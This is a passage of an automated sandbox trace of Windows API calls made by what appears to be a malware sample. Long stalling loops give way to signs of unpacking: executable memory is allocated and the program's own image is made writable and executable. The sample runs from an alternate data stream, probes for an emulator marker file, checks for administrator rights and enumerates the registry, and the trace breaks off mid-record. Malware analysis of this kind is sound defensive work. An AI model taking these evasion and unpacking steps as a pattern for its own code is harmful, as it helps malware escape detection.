GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0254.442] IsCharLowerA (ch=29) returned 0 [0254.442] CountClipboardFormats () returned 0 [0254.442] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0254.442] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0254.442] IsCharLowerA (ch=30) returned 0 [0254.442] CountClipboardFormats () returned 0 [0254.442] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0254.442] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0254.442] IsCharLowerA (ch=31) returned 0 [0254.442] CountClipboardFormats () returned 0 [0254.442] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0254.442] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0254.442] IsCharLowerA (ch=32) returned 0 [0254.442] CountClipboardFormats () returned 0 [0254.442] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0254.442] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0254.443] IsCharLowerA (ch=1) returned 0 [0254.443] CountClipboardFormats () returned 0 [0254.443] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0254.443] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0254.443] IsCharLowerA (ch=2) returned 0 [0254.443] CountClipboardFormats () returned 0 [0254.443] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0254.443] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0254.443] IsCharLowerA (ch=3) returned 0 [0254.443] CountClipboardFormats () returned 0 [0254.443] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0254.443] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0254.443] IsCharLowerA (ch=4) returned 0 [0254.443] CountClipboardFormats () returned 0 [0254.443] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0254.443] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0254.443] IsCharLowerA (ch=5) returned 0 [0254.443] CountClipboardFormats () returned 0 [0254.443] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0254.443] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0254.443] IsCharLowerA (ch=6) returned 0 [0254.443] CountClipboardFormats () returned 0 [0254.443] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0254.443] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0254.443] IsCharLowerA (ch=7) returned 0 [0254.443] CountClipboardFormats () returned 0 [0254.443] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0254.443] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0254.443] IsCharLowerA (ch=8) returned 0 [0254.443] CountClipboardFormats () returned 0 [0254.443] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0254.443] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0254.443] IsCharLowerA (ch=9) returned 0 [0254.443] CountClipboardFormats () returned 0 [0254.443] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0254.443] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0254.444] IsCharLowerA (ch=10) returned 0 [0254.444] CountClipboardFormats () returned 0 [0254.444] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0254.444] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0254.444] IsCharLowerA (ch=11) returned 0 [0254.444] CountClipboardFormats () returned 0 [0254.444] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0254.444] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0254.444] IsCharLowerA (ch=12) returned 0 [0254.444] CountClipboardFormats () returned 0 [0254.444] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0254.444] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0254.444] IsCharLowerA (ch=13) returned 0 [0254.444] CountClipboardFormats () returned 0 [0254.444] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0254.444] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0254.444] IsCharLowerA (ch=14) returned 0 [0254.444] CountClipboardFormats () returned 0 [0254.444] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0254.444] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0254.444] IsCharLowerA (ch=15) returned 0 [0254.444] CountClipboardFormats () returned 0 [0254.444] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0254.444] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0254.444] IsCharLowerA (ch=16) returned 0 [0254.444] CountClipboardFormats () returned 0 [0254.444] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0254.444] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0254.444] IsCharLowerA (ch=17) returned 0 [0254.444] CountClipboardFormats () returned 0 [0254.444] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0254.444] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0254.444] IsCharLowerA (ch=18) returned 0 [0254.444] CountClipboardFormats () returned 0 [0254.444] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0254.444] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0254.445] IsCharLowerA (ch=19) returned 0 [0254.445] CountClipboardFormats () returned 0 [0254.445] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0254.445] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0254.445] IsCharLowerA (ch=20) returned 0 [0254.445] CountClipboardFormats () returned 0 [0254.445] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0254.445] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0254.445] IsCharLowerA (ch=21) returned 0 [0254.445] CountClipboardFormats () returned 0 [0254.445] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0254.445] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0254.445] IsCharLowerA (ch=22) returned 0 [0254.445] CountClipboardFormats () returned 0 [0254.445] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0254.445] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0254.445] IsCharLowerA (ch=23) returned 0 [0254.445] CountClipboardFormats () returned 0 [0254.445] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0254.445] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0254.445] IsCharLowerA (ch=24) returned 0 [0254.445] CountClipboardFormats () returned 0 [0254.445] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0254.445] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0254.445] IsCharLowerA (ch=25) returned 0 [0254.445] CountClipboardFormats () returned 0 [0254.445] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0254.445] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0254.445] IsCharLowerA (ch=26) returned 0 [0254.445] CountClipboardFormats () returned 0 [0254.445] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0254.445] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0254.445] IsCharLowerA (ch=27) returned 0 [0254.445] CountClipboardFormats () returned 0 [0254.445] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0254.446] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0254.446] IsCharLowerA (ch=28) returned 0 [0254.446] CountClipboardFormats () returned 0 [0254.446] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0254.446] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0254.446] IsCharLowerA (ch=29) returned 0 [0254.446] CountClipboardFormats () returned 0 [0254.446] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0254.446] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0254.446] IsCharLowerA (ch=30) returned 0 [0254.446] CountClipboardFormats () returned 0 [0254.446] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0254.446] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0254.446] IsCharLowerA (ch=31) returned 0 [0254.446] CountClipboardFormats () returned 0 [0254.446] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0254.446] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0254.446] IsCharLowerA (ch=32) returned 0 [0254.446] CountClipboardFormats () returned 0 [0254.446] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0254.446] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0254.446] IsCharLowerA (ch=1) returned 0 [0254.446] CountClipboardFormats () returned 0 [0254.446] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0254.446] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0254.446] IsCharLowerA (ch=2) returned 0 [0254.446] CountClipboardFormats () returned 0 [0254.446] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0254.446] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0254.446] IsCharLowerA (ch=3) returned 0 [0254.446] CountClipboardFormats () returned 0 [0254.446] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0254.446] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0254.446] IsCharLowerA (ch=4) returned 0 [0254.446] CountClipboardFormats () returned 0 [0254.447] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0254.447] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0254.447] IsCharLowerA (ch=5) returned 0 [0254.447] CountClipboardFormats () returned 0 [0254.447] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0254.447] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0254.447] IsCharLowerA (ch=6) returned 0 [0254.447] CountClipboardFormats () returned 0 [0254.447] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0254.447] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0254.447] IsCharLowerA (ch=7) returned 0 [0254.447] CountClipboardFormats () returned 0 [0254.447] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0254.447] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0254.447] IsCharLowerA (ch=8) returned 0 [0254.447] CountClipboardFormats () returned 0 [0254.447] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0254.447] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0254.447] IsCharLowerA (ch=9) returned 0 [0254.447] CountClipboardFormats () returned 0 [0254.447] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0254.447] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0254.447] IsCharLowerA (ch=10) returned 0 [0254.447] CountClipboardFormats () returned 0 [0254.447] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0254.447] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0254.447] IsCharLowerA (ch=11) returned 0 [0254.447] CountClipboardFormats () returned 0 [0254.447] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0254.447] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0254.447] IsCharLowerA (ch=12) returned 0 [0254.447] CountClipboardFormats () returned 0 [0254.447] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0254.447] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0254.447] IsCharLowerA (ch=13) returned 0 [0254.447] CountClipboardFormats () returned 0 [0254.447] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0254.448] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0254.448] IsCharLowerA (ch=14) returned 0 [0254.448] CountClipboardFormats () returned 0 [0254.448] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0254.448] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0254.448] IsCharLowerA (ch=15) returned 0 [0254.448] CountClipboardFormats () returned 0 [0254.448] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0254.448] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0254.448] IsCharLowerA (ch=16) returned 0 [0254.448] CountClipboardFormats () returned 0 [0254.448] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0254.448] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0254.448] IsCharLowerA (ch=17) returned 0 [0254.448] CountClipboardFormats () returned 0 [0254.448] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0254.448] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0254.448] IsCharLowerA (ch=18) returned 0 [0254.448] CountClipboardFormats () returned 0 [0254.448] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0254.448] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0254.448] IsCharLowerA (ch=19) returned 0 [0254.448] CountClipboardFormats () returned 0 [0254.448] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0254.448] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0254.448] IsCharLowerA (ch=20) returned 0 [0254.448] CountClipboardFormats () returned 0 [0254.448] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0254.448] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0254.448] IsCharLowerA (ch=21) returned 0 [0254.448] CountClipboardFormats () returned 0 [0254.448] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0254.448] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0254.448] IsCharLowerA (ch=22) returned 0 [0254.448] CountClipboardFormats () returned 0 [0254.448] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0254.449] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0254.449] IsCharLowerA (ch=23) returned 0 [0254.449] CountClipboardFormats () returned 0 [0254.449] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0254.449] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0254.449] IsCharLowerA (ch=24) returned 0 [0254.449] CountClipboardFormats () returned 0 [0254.449] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x18fb56, nSize=0x104 | out: lpFilename="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\HAT7AO~1:bin" (normalized: "c:\\users\\5p5nrg~1\\appdata\\roaming\\hat7ao~1:bin")) returned 0x2e [0254.450] VarCyFromUI4 (in: ulIn=0xccaf3cc, pcyOut=0x18ff08 | out: pcyOut=0x18ff08) returned 0x0 [0254.450] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x18fb56, nSize=0x104 | out: lpFilename="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\HAT7AO~1:bin" (normalized: "c:\\users\\5p5nrg~1\\appdata\\roaming\\hat7ao~1:bin")) returned 0x2e [0254.450] Sleep (dwMilliseconds=0x94) [0254.867] LdrGetProcedureAddress (in: BaseAddress=0x77280000, Name="VirtualAlloc", Ordinal=0x0, ProcedureAddress=0x18fb30 | out: ProcedureAddress=0x18fb30*=0x77291856) returned 0x0 [0254.867] VirtualAlloc (lpAddress=0x0, dwSize=0x16100, flAllocationType=0x1000, flProtect=0x4) returned 0x220000 [0254.873] LdrGetProcedureAddress (in: BaseAddress=0x77280000, Name="VirtualAlloc", Ordinal=0x0, ProcedureAddress=0x18fb58 | out: ProcedureAddress=0x18fb58*=0x77291856) returned 0x0 [0254.873] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x1000, flProtect=0x40) returned 0x240000 [0254.874] LdrGetProcedureAddress (in: BaseAddress=0x77280000, Name="LoadLibraryA", Ordinal=0x0, ProcedureAddress=0x18fb6c | out: ProcedureAddress=0x18fb6c*=0x772949d7) returned 0x0 [0254.874] LdrGetProcedureAddress (in: BaseAddress=0x77280000, Name="GetProcAddress", Ordinal=0x0, ProcedureAddress=0x18fb6c | out: ProcedureAddress=0x18fb6c*=0x77291222) returned 0x0 [0254.874] LdrGetProcedureAddress (in: BaseAddress=0x77280000, Name="VirtualAlloc", Ordinal=0x0, ProcedureAddress=0x18fb6c | out: ProcedureAddress=0x18fb6c*=0x77291856) returned 0x0 [0254.874] LdrGetProcedureAddress (in: BaseAddress=0x77280000, Name="VirtualProtect", Ordinal=0x0, ProcedureAddress=0x18fb6c | out: ProcedureAddress=0x18fb6c*=0x7729435f) returned 0x0 [0254.874] LoadLibraryA (lpLibFileName="KERNEL32.dll") returned 0x77280000 [0254.874] GetProcAddress (hModule=0x77280000, lpProcName="FlsFree") returned 0x7729359f [0254.874] GetProcAddress (hModule=0x77280000, lpProcName="SetUnhandledExceptionFilter") returned 0x772987c9 [0254.875] VirtualProtect (in: lpAddress=0x400000, dwSize=0x27000, flNewProtect=0x40, lpflOldProtect=0x18fc08 | out: lpflOldProtect=0x18fc08*=0x2) returned 1 [0254.876] VirtualAlloc (lpAddress=0x0, dwSize=0x18000, flAllocationType=0x1000, flProtect=0x40) returned 0x250000 [0254.879] LoadLibraryA (lpLibFileName="KERNEL32.dll") returned 0x77280000 [0254.879] GetProcAddress (hModule=0x77280000, lpProcName="CreateFileW") returned 0x77293f5c [0254.879] GetProcAddress (hModule=0x77280000, lpProcName="ExitProcess") returned 0x77297a10 [0254.879] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x0) returned 0x0 [0259.563] CreateFileW (lpFileName="C:\\aaa_TouchMeNot_.txt" (normalized: "c:\\aaa_touchmenot_.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0259.650] RtlCreateHeap (Flags=0x2, HeapBase=0x0, ReserveSize=0x0, CommitSize=0x1234, Lock=0x0, Parameters=0x0) returned 0x3c0000 [0259.659] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0x8, Size=0x104) returned 0x3c07d0 [0259.659] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0x8, Size=0x80) returned 0x3c08e0 [0259.659] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0x8, Size=0x80) returned 0x3c0968 [0259.659] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0x8, Size=0x80) returned 0x3c09f0 [0259.659] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0x8, Size=0x80) returned 0x3c0a78 [0259.659] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0x8, Size=0x80) returned 0x3c0b00 [0259.659] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0x8, Size=0x80) returned 0x3c0b88 [0259.659] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0x8, Size=0x80) returned 0x3c0c10 [0259.659] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0x8, Size=0x80) returned 0x3c0c98 [0259.659] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0x8, Size=0x80) returned 0x3c0d20 [0259.659] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0x8, Size=0x80) returned 0x3c0da8 [0259.659] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0x8, Size=0x80) returned 0x3c0e30 [0259.659] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0x8, Size=0x80) returned 0x3c0eb8 [0259.659] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0x8, Size=0x80) returned 0x3c0f40 [0259.659] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0x8, Size=0x80) returned 0x3c0fc8 [0259.659] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0x8, Size=0x80) returned 0x3c1050 [0259.659] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0x8, Size=0x80) returned 0x3c10d8 [0259.659] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0x8, Size=0x400) returned 0x3c1160 [0259.659] RtlCreateHeap (Flags=0x2, HeapBase=0x0, ReserveSize=0x0, CommitSize=0x1234, Lock=0x0, Parameters=0x0) returned 0x1ef0000 [0259.660] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1ef07d0 [0259.660] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1ef0858 [0259.660] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1ef08e0 [0259.660] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x184) returned 0x1ef0968 [0259.660] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1ef0af8 [0259.660] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1ef0b40 [0259.660] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1ef0b88 [0259.660] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1ef0bd0 [0259.660] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1ef0c18 [0259.660] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1ef0c60 [0259.660] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1ef0ca8 [0259.660] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1ef0cf0 [0259.660] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1ef0d38 [0259.660] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1ef0d80 [0259.661] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1ef0dc8 [0259.661] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1ef0e10 [0259.661] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1ef0e58 [0259.661] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1ef0ea0 [0259.661] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1ef0ee8 [0259.661] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1ef0f30 [0259.661] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x18f60c, nSize=0x1000 | out: lpFilename="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\HAT7AO~1:bin" (normalized: "c:\\users\\5p5nrg~1\\appdata\\roaming\\hat7ao~1:bin")) returned 0x2e [0259.662] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1ef0f78 [0259.662] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x2c) returned 0x1efb828 [0259.669] GetVersionExW (in: lpVersionInformation=0x18fc2c*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x18fc2c*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0259.669] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x18fc14 | out: Wow64Process=0x18fc14) returned 1 [0259.669] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x18fbf0 | out: TokenHandle=0x18fbf0*=0x90) returned 1 [0259.669] GetTokenInformation (in: TokenHandle=0x90, TokenInformationClass=0x2, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x18fbec | out: TokenInformation=0x0, ReturnLength=0x18fbec) returned 0 [0259.669] GetLastError () returned 0x7a [0259.669] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x140) returned 0x1efb860 [0259.669] GetTokenInformation (in: TokenHandle=0x90, TokenInformationClass=0x2, TokenInformation=0x1efb860, TokenInformationLength=0x118, ReturnLength=0x18fbec | out: TokenInformation=0x1efb860, ReturnLength=0x18fbec) returned 1 [0259.669] AllocateAndInitializeSid (in: pIdentifierAuthority=0x18fbfc, nSubAuthorityCount=0x2, nSubAuthority0=0x20, nSubAuthority1=0x220, nSubAuthority2=0x0, nSubAuthority3=0x0, nSubAuthority4=0x0, nSubAuthority5=0x0, nSubAuthority6=0x0, nSubAuthority7=0x0, pSid=0x18fbf4 | out: pSid=0x18fbf4*=0x5714c8*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0))) returned 1 [0259.669] EqualSid (pSid1=0x5714c8*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), pSid2=0x1efb8c4*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25))) returned 0 [0259.669] EqualSid (pSid1=0x5714c8*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), pSid2=0x1efb8e0*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x1), SubAuthority=0x0)) returned 0 [0259.669] EqualSid (pSid1=0x5714c8*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), pSid2=0x1efb8ec*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0))) returned 1 [0259.669] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efb860) returned 1 [0259.669] NtClose (Handle=0x90) returned 0x0 [0259.670] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efb860 [0259.671] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efb8a8 [0259.671] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x280) returned 0x1efb930 [0259.672] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0259.677] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x1efb930, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0259.677] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efbbb8 [0259.677] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0259.677] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efbc58 [0259.678] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x1efbc58, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bcd00000000", lpUsedDefaultChar=0x0) returned 11 [0259.678] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efbca0 [0259.678] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efbc58) returned 1 [0259.678] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efbca0) returned 1 [0259.678] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efbbb8) returned 1 [0259.678] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x1efb930, 